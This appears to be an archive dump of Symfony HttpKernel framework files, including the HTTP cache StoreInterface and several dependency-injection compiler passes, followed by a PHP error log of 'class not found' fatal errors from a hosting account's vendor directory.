source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * Interface implemented by HTTP cache stores. * * @author Fabien Potencier */ interface StoreInterface { /** * Locates a cached Response for the Request provided. */ public function lookup(Request $request): ?Response; /** * Writes a cache entry to the store for the given Request and Response. * * Existing entries are read and any that match the response are removed. This * method calls write with the new list of cache entries. * * @return string The key under which the response is stored */ public function write(Request $request, Response $response): string; /** * Invalidates all cache entries that match the request. * * @return void */ public function invalidate(Request $request); /** * Locks the cache for a given Request. * * @return bool|string true if the lock is acquired, the path to the current lock otherwise */ public function lock(Request $request): bool|string; /** * Releases the lock for the given Request. * * @return bool False if the lock file does not exist or cannot be unlocked, true otherwise */ public function unlock(Request $request): bool; /** * Returns whether or not a lock exists. * * @return bool true if lock exists, false otherwise */ public function isLocked(Request $request): bool; /** * Purges data for the given URL. * * @return bool true if the URL exists and has been purged, false otherwise */ public function purge(string $url): bool; /** * Cleanups storage. * * @return void */ public function cleanup(); } http-kernel/DependencyInjection/FragmentRendererPass.php000064400000004101151113511660017510 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface; /** * Adds services tagged kernel.fragment_renderer as HTTP content rendering strategies. * * @author Fabien Potencier */ class FragmentRendererPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('fragment.handler')) { return; } $definition = $container->getDefinition('fragment.handler'); $renderers = []; foreach ($container->findTaggedServiceIds('kernel.fragment_renderer', true) as $id => $tags) { $def = $container->getDefinition($id); $class = $container->getParameterBag()->resolveValue($def->getClass()); if (!$r = $container->getReflectionClass($class)) { throw new InvalidArgumentException(sprintf('Class "%s" used for service "%s" cannot be found.', $class, $id)); } if (!$r->isSubclassOf(FragmentRendererInterface::class)) { throw new InvalidArgumentException(sprintf('Service "%s" must implement interface "%s".', $id, FragmentRendererInterface::class)); } foreach ($tags as $tag) { $renderers[$tag['alias']] = new Reference($id); } } $definition->replaceArgument(0, ServiceLocatorTagPass::register($container, $renderers)); } } http-kernel/DependencyInjection/RegisterControllerArgumentLocatorsPass.php000064400000026113151113511660023327 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Attribute\Autowire; use Symfony\Component\DependencyInjection\Attribute\AutowireCallable; use Symfony\Component\DependencyInjection\Attribute\Target; use Symfony\Component\DependencyInjection\ChildDefinition; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\TypedReference; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\VarExporter\ProxyHelper; /** * Creates the service-locators required by ServiceValueResolver. * * @author Nicolas Grekas */ class RegisterControllerArgumentLocatorsPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('argument_resolver.service') && !$container->hasDefinition('argument_resolver.not_tagged_controller')) { return; } $parameterBag = $container->getParameterBag(); $controllers = []; $publicAliases = []; foreach ($container->getAliases() as $id => $alias) { if ($alias->isPublic() && !$alias->isPrivate()) { $publicAliases[(string) $alias][] = $id; } } $emptyAutowireAttributes = class_exists(Autowire::class) ? null : []; foreach ($container->findTaggedServiceIds('controller.service_arguments', true) as $id => $tags) { $def = $container->getDefinition($id); $def->setPublic(true); $class = $def->getClass(); $autowire = $def->isAutowired(); $bindings = $def->getBindings(); // resolve service class, taking parent definitions into account while ($def instanceof ChildDefinition) { $def = $container->findDefinition($def->getParent()); $class = $class ?: $def->getClass(); $bindings += $def->getBindings(); } $class = $parameterBag->resolveValue($class); if (!$r = $container->getReflectionClass($class)) { throw new InvalidArgumentException(sprintf('Class "%s" used for service "%s" cannot be found.', $class, $id)); } // get regular public methods $methods = []; $arguments = []; foreach ($r->getMethods(\ReflectionMethod::IS_PUBLIC) as $r) { if ('setContainer' === $r->name) { continue; } if (!$r->isConstructor() && !$r->isDestructor() && !$r->isAbstract()) { $methods[strtolower($r->name)] = [$r, $r->getParameters()]; } } // validate and collect explicit per-actions and per-arguments service references foreach ($tags as $attributes) { if (!isset($attributes['action']) && !isset($attributes['argument']) && !isset($attributes['id'])) { $autowire = true; continue; } foreach (['action', 'argument', 'id'] as $k) { if (!isset($attributes[$k][0])) { throw new InvalidArgumentException(sprintf('Missing "%s" attribute on tag "controller.service_arguments" %s for service "%s".', $k, json_encode($attributes, \JSON_UNESCAPED_UNICODE), $id)); } } if (!isset($methods[$action = strtolower($attributes['action'])])) { throw new InvalidArgumentException(sprintf('Invalid "action" attribute on tag "controller.service_arguments" for service "%s": no public "%s()" method found on class "%s".', $id, $attributes['action'], $class)); } [$r, $parameters] = $methods[$action]; $found = false; foreach ($parameters as $p) { if ($attributes['argument'] === $p->name) { if (!isset($arguments[$r->name][$p->name])) { $arguments[$r->name][$p->name] = $attributes['id']; } $found = true; break; } } if (!$found) { throw new InvalidArgumentException(sprintf('Invalid "controller.service_arguments" tag for service "%s": method "%s()" has no "%s" argument on class "%s".', $id, $r->name, $attributes['argument'], $class)); } } foreach ($methods as [$r, $parameters]) { /** @var \ReflectionMethod $r */ // create a per-method map of argument-names to service/type-references $args = []; foreach ($parameters as $p) { /** @var \ReflectionParameter $p */ $type = preg_replace('/(^|[(|&])\\\\/', '\1', $target = ltrim(ProxyHelper::exportType($p) ?? '', '?')); $invalidBehavior = ContainerInterface::IGNORE_ON_INVALID_REFERENCE; $autowireAttributes = $autowire ? $emptyAutowireAttributes : []; if (isset($arguments[$r->name][$p->name])) { $target = $arguments[$r->name][$p->name]; if ('?' !== $target[0]) { $invalidBehavior = ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE; } elseif ('' === $target = (string) substr($target, 1)) { throw new InvalidArgumentException(sprintf('A "controller.service_arguments" tag must have non-empty "id" attributes for service "%s".', $id)); } elseif ($p->allowsNull() && !$p->isOptional()) { $invalidBehavior = ContainerInterface::NULL_ON_INVALID_REFERENCE; } } elseif (isset($bindings[$bindingName = $type.' $'.$name = Target::parseName($p)]) || isset($bindings[$bindingName = '$'.$name]) || isset($bindings[$bindingName = $type])) { $binding = $bindings[$bindingName]; [$bindingValue, $bindingId, , $bindingType, $bindingFile] = $binding->getValues(); $binding->setValues([$bindingValue, $bindingId, true, $bindingType, $bindingFile]); $args[$p->name] = $bindingValue; continue; } elseif (!$autowire || (!($autowireAttributes ??= $p->getAttributes(Autowire::class, \ReflectionAttribute::IS_INSTANCEOF)) && (!$type || '\\' !== $target[0]))) { continue; } elseif (is_subclass_of($type, \UnitEnum::class)) { // do not attempt to register enum typed arguments if not already present in bindings continue; } elseif (!$p->allowsNull()) { $invalidBehavior = ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE; } if (Request::class === $type || SessionInterface::class === $type || Response::class === $type) { continue; } if ($autowireAttributes) { $attribute = $autowireAttributes[0]->newInstance(); $value = $parameterBag->resolveValue($attribute->value); if ($attribute instanceof AutowireCallable) { $value = $attribute->buildDefinition($value, $type, $p); } if ($value instanceof Reference) { $args[$p->name] = $type ? new TypedReference($value, $type, $invalidBehavior, $p->name) : new Reference($value, $invalidBehavior); } else { $args[$p->name] = new Reference('.value.'.$container->hash($value)); $container->register((string) $args[$p->name], 'mixed') ->setFactory('current') ->addArgument([$value]); } continue; } if ($type && !$p->isOptional() && !$p->allowsNull() && !class_exists($type) && !interface_exists($type, false)) { $message = sprintf('Cannot determine controller argument for "%s::%s()": the $%s argument is type-hinted with the non-existent class or interface: "%s".', $class, $r->name, $p->name, $type); // see if the type-hint lives in the same namespace as the controller if (0 === strncmp($type, $class, strrpos($class, '\\'))) { $message .= ' Did you forget to add a use statement?'; } $container->register($erroredId = '.errored.'.$container->hash($message), $type) ->addError($message); $args[$p->name] = new Reference($erroredId, ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE); } else { $target = preg_replace('/(^|[(|&])\\\\/', '\1', $target); $args[$p->name] = $type ? new TypedReference($target, $type, $invalidBehavior, Target::parseName($p)) : new Reference($target, $invalidBehavior); } } // register the maps as a per-method service-locators if ($args) { $controllers[$id.'::'.$r->name] = ServiceLocatorTagPass::register($container, $args); foreach ($publicAliases[$id] ?? [] as $alias) { $controllers[$alias.'::'.$r->name] = clone $controllers[$id.'::'.$r->name]; } } } } $controllerLocatorRef = ServiceLocatorTagPass::register($container, $controllers); if ($container->hasDefinition('argument_resolver.service')) { $container->getDefinition('argument_resolver.service') ->replaceArgument(0, $controllerLocatorRef); } if ($container->hasDefinition('argument_resolver.not_tagged_controller')) { $container->getDefinition('argument_resolver.not_tagged_controller') ->replaceArgument(0, $controllerLocatorRef); } $container->setAlias('argument_resolver.controller_locator', (string) $controllerLocatorRef); } } http-kernel/DependencyInjection/RegisterLocaleAwareServicesPass.php000064400000002616151113511660021657 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Argument\IteratorArgument; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; /** * Register all services that have the "kernel.locale_aware" tag into the listener. * * @author Pierre Bobiet */ class RegisterLocaleAwareServicesPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('locale_aware_listener')) { return; } $services = []; foreach ($container->findTaggedServiceIds('kernel.locale_aware') as $id => $tags) { $services[] = new Reference($id); } if (!$services) { $container->removeDefinition('locale_aware_listener'); return; } $container ->getDefinition('locale_aware_listener') ->setArgument(0, new IteratorArgument($services)) ; } } http-kernel/DependencyInjection/ConfigurableExtension.php000064400000002400151113511660017724 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\ContainerBuilder; /** * This extension sub-class provides first-class integration with the * Config/Definition Component. * * You can use this as base class if * * a) you use the Config/Definition component for configuration, * b) your configuration class is named "Configuration", and * c) the configuration class resides in the DependencyInjection sub-folder. * * @author Johannes M. Schmitt */ abstract class ConfigurableExtension extends Extension { final public function load(array $configs, ContainerBuilder $container): void { $this->loadInternal($this->processConfiguration($this->getConfiguration($configs, $container), $configs), $container); } /** * Configures the passed container according to the merged configuration. * * @return void */ abstract protected function loadInternal(array $mergedConfig, ContainerBuilder $container); } http-kernel/DependencyInjection/LazyLoadingFragmentHandler.php000064400000002672151113511660020641 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Psr\Container\ContainerInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpKernel\Controller\ControllerReference; use Symfony\Component\HttpKernel\Fragment\FragmentHandler; /** * Lazily loads fragment renderers from the dependency injection container. * * @author Fabien Potencier */ class LazyLoadingFragmentHandler extends FragmentHandler { private ContainerInterface $container; /** * @var array */ private array $initialized = []; public function __construct(ContainerInterface $container, RequestStack $requestStack, bool $debug = false) { $this->container = $container; parent::__construct($requestStack, [], $debug); } public function render(string|ControllerReference $uri, string $renderer = 'inline', array $options = []): ?string { if (!isset($this->initialized[$renderer]) && $this->container->has($renderer)) { $this->addRenderer($this->container->get($renderer)); $this->initialized[$renderer] = true; } return parent::render($uri, $renderer, $options); } } http-kernel/DependencyInjection/ResettableServicePass.php000064400000004176151113511660017705 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Symfony\Component\DependencyInjection\Argument\IteratorArgument; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\DependencyInjection\Exception\RuntimeException; use Symfony\Component\DependencyInjection\Reference; /** * @author Alexander M. Turek */ class ResettableServicePass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->has('services_resetter')) { return; } $services = $methods = []; foreach ($container->findTaggedServiceIds('kernel.reset', true) as $id => $tags) { $services[$id] = new Reference($id, ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE); foreach ($tags as $attributes) { if (!isset($attributes['method'])) { throw new RuntimeException(sprintf('Tag "kernel.reset" requires the "method" attribute to be set on service "%s".', $id)); } if (!isset($methods[$id])) { $methods[$id] = []; } if ('ignore' === ($attributes['on_invalid'] ?? null)) { $attributes['method'] = '?'.$attributes['method']; } $methods[$id][] = $attributes['method']; } } if (!$services) { $container->removeAlias('services_resetter'); $container->removeDefinition('services_resetter'); return; } $container->findDefinition('services_resetter') ->setArgument(0, new IteratorArgument($services)) ->setArgument(1, $methods); } } http-kernel/DependencyInjection/ServicesResetter.php000064400000003340151113511660016734 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use ProxyManager\Proxy\LazyLoadingInterface; use Symfony\Component\VarExporter\LazyObjectInterface; use Symfony\Contracts\Service\ResetInterface; /** * Resets provided services. * * @author Alexander M. Turek * @author Nicolas Grekas * * @internal */ class ServicesResetter implements ResetInterface { private \Traversable $resettableServices; private array $resetMethods; /** * @param \Traversable $resettableServices * @param array $resetMethods */ public function __construct(\Traversable $resettableServices, array $resetMethods) { $this->resettableServices = $resettableServices; $this->resetMethods = $resetMethods; } public function reset(): void { foreach ($this->resettableServices as $id => $service) { if ($service instanceof LazyObjectInterface && !$service->isLazyObjectInitialized(true)) { continue; } if ($service instanceof LazyLoadingInterface && !$service->isProxyInitialized()) { continue; } foreach ((array) $this->resetMethods[$id] as $resetMethod) { if ('?' === $resetMethod[0] && !method_exists($service, $resetMethod = substr($resetMethod, 1))) { continue; } $service->$resetMethod(); } } } } http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php000064400000010174151113511660021360 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DependencyInjection; use Composer\Autoload\ClassLoader; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\ErrorHandler\DebugClassLoader; use Symfony\Component\HttpKernel\Kernel; /** * Sets the classes to compile in the cache for the container. * * @author Fabien Potencier */ class AddAnnotatedClassesToCachePass implements CompilerPassInterface { private Kernel $kernel; public function __construct(Kernel $kernel) { $this->kernel = $kernel; } /** * @return void */ public function process(ContainerBuilder $container) { $annotatedClasses = []; foreach ($container->getExtensions() as $extension) { if ($extension instanceof Extension) { $annotatedClasses[] = $extension->getAnnotatedClassesToCompile(); } } $annotatedClasses = array_merge($this->kernel->getAnnotatedClassesToCompile(), ...$annotatedClasses); $existingClasses = $this->getClassesInComposerClassMaps(); $annotatedClasses = $container->getParameterBag()->resolveValue($annotatedClasses); $this->kernel->setAnnotatedClassCache($this->expandClasses($annotatedClasses, $existingClasses)); } /** * Expands the given class patterns using a list of existing classes. * * @param array $patterns The class patterns to expand * @param array $classes The existing classes to match against the patterns */ private function expandClasses(array $patterns, array $classes): array { $expanded = []; // Explicit classes declared in the patterns are returned directly foreach ($patterns as $key => $pattern) { if (!str_ends_with($pattern, '\\') && !str_contains($pattern, '*')) { unset($patterns[$key]); $expanded[] = ltrim($pattern, '\\'); } } // Match patterns with the classes list $regexps = $this->patternsToRegexps($patterns); foreach ($classes as $class) { $class = ltrim($class, '\\'); if ($this->matchAnyRegexps($class, $regexps)) { $expanded[] = $class; } } return array_unique($expanded); } private function getClassesInComposerClassMaps(): array { $classes = []; foreach (spl_autoload_functions() as $function) { if (!\is_array($function)) { continue; } if ($function[0] instanceof DebugClassLoader) { $function = $function[0]->getClassLoader(); } if (\is_array($function) && $function[0] instanceof ClassLoader) { $classes += array_filter($function[0]->getClassMap()); } } return array_keys($classes); } private function patternsToRegexps(array $patterns): array { $regexps = []; foreach ($patterns as $pattern) { // Escape user input $regex = preg_quote(ltrim($pattern, '\\')); // Wildcards * and ** $regex = strtr($regex, ['\\*\\*' => '.*?', '\\*' => '[^\\\\]*?']); // If this class does not end by a slash, anchor the end if (!str_ends_with($regex, '\\')) { $regex .= '$'; } $regexps[] = '{^\\\\'.$regex.'}'; } return $regexps; } private function matchAnyRegexps(string $class, array $regexps): bool { $isTest = str_contains($class, 'Test'); foreach ($regexps as $regex) { if ($isTest && !str_contains($regex, 'Test')) { continue; } if (preg_match($regex, '\\'.$class)) { return true; } } return false; } } http-kernel/DependencyInjection/error_log000064400000037155151113511660014652 0ustar00[19-Nov-2025 01:35:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LoggerPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LoggerPass.php on line 26 [19-Nov-2025 01:36:19 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RemoveEmptyControllerArgumentLocatorsPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RemoveEmptyControllerArgumentLocatorsPass.php on line 22 [19-Nov-2025 01:38:26 UTC] PHP Fatal error: Trait "Symfony\Component\DependencyInjection\Compiler\PriorityTaggedServiceTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ControllerArgumentValueResolverPass.php on line 29 [19-Nov-2025 01:39:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterLocaleAwareServicesPass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterLocaleAwareServicesPass.php on line 24 [19-Nov-2025 01:40:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Compiler\MergeExtensionConfigurationPass" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/MergeExtensionConfigurationPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/MergeExtensionConfigurationPass.php on line 22 [19-Nov-2025 01:44:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterControllerArgumentLocatorsPass.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterControllerArgumentLocatorsPass.php on line 35 [19-Nov-2025 01:45:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Extension\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/Extension.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/Extension.php on line 21 [19-Nov-2025 01:47:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php on line 25 [19-Nov-2025 01:48:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ResettableServicePass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ResettableServicePass.php on line 24 [19-Nov-2025 01:49:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ServicesResetter.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ServicesResetter.php on line 26 [19-Nov-2025 01:51:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DependencyInjection\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php on line 28 [19-Nov-2025 01:53:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\FragmentHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LazyLoadingFragmentHandler.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LazyLoadingFragmentHandler.php on line 24 [19-Nov-2025 01:55:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/FragmentRendererPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/FragmentRendererPass.php on line 26 [25-Nov-2025 02:58:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\FragmentHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LazyLoadingFragmentHandler.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LazyLoadingFragmentHandler.php on line 24 [25-Nov-2025 03:00:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DependencyInjection\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php on line 28 [25-Nov-2025 03:01:01 UTC] PHP Fatal error: Trait "Symfony\Component\DependencyInjection\Compiler\PriorityTaggedServiceTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ControllerArgumentValueResolverPass.php on line 29 [25-Nov-2025 03:03:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterControllerArgumentLocatorsPass.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterControllerArgumentLocatorsPass.php on line 35 [25-Nov-2025 03:03:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ServicesResetter.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ServicesResetter.php on line 26 [25-Nov-2025 03:24:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LoggerPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LoggerPass.php on line 26 [25-Nov-2025 03:25:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/FragmentRendererPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/FragmentRendererPass.php on line 26 [25-Nov-2025 03:26:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Extension\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/Extension.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/Extension.php on line 21 [25-Nov-2025 03:27:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Compiler\MergeExtensionConfigurationPass" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/MergeExtensionConfigurationPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/MergeExtensionConfigurationPass.php on line 22 [25-Nov-2025 04:29:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterLocaleAwareServicesPass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RegisterLocaleAwareServicesPass.php on line 24 [25-Nov-2025 04:31:26 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/AddAnnotatedClassesToCachePass.php on line 25 [25-Nov-2025 05:26:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ResettableServicePass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ResettableServicePass.php on line 24 [25-Nov-2025 06:30:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RemoveEmptyControllerArgumentLocatorsPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/RemoveEmptyControllerArgumentLocatorsPass.php on line 22 [25-Nov-2025 23:06:49 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Compiler\MergeExtensionConfigurationPass" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/MergeExtensionConfigurationPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/MergeExtensionConfigurationPass.php on line 22 [25-Nov-2025 23:08:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Extension\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/Extension.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/Extension.php on line 21 [25-Nov-2025 23:09:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\FragmentHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LazyLoadingFragmentHandler.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LazyLoadingFragmentHandler.php on line 24 [26-Nov-2025 00:39:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LoggerPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/LoggerPass.php on line 26 [26-Nov-2025 01:21:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DependencyInjection\Extension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php on line 28 [26-Nov-2025 01:33:24 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in 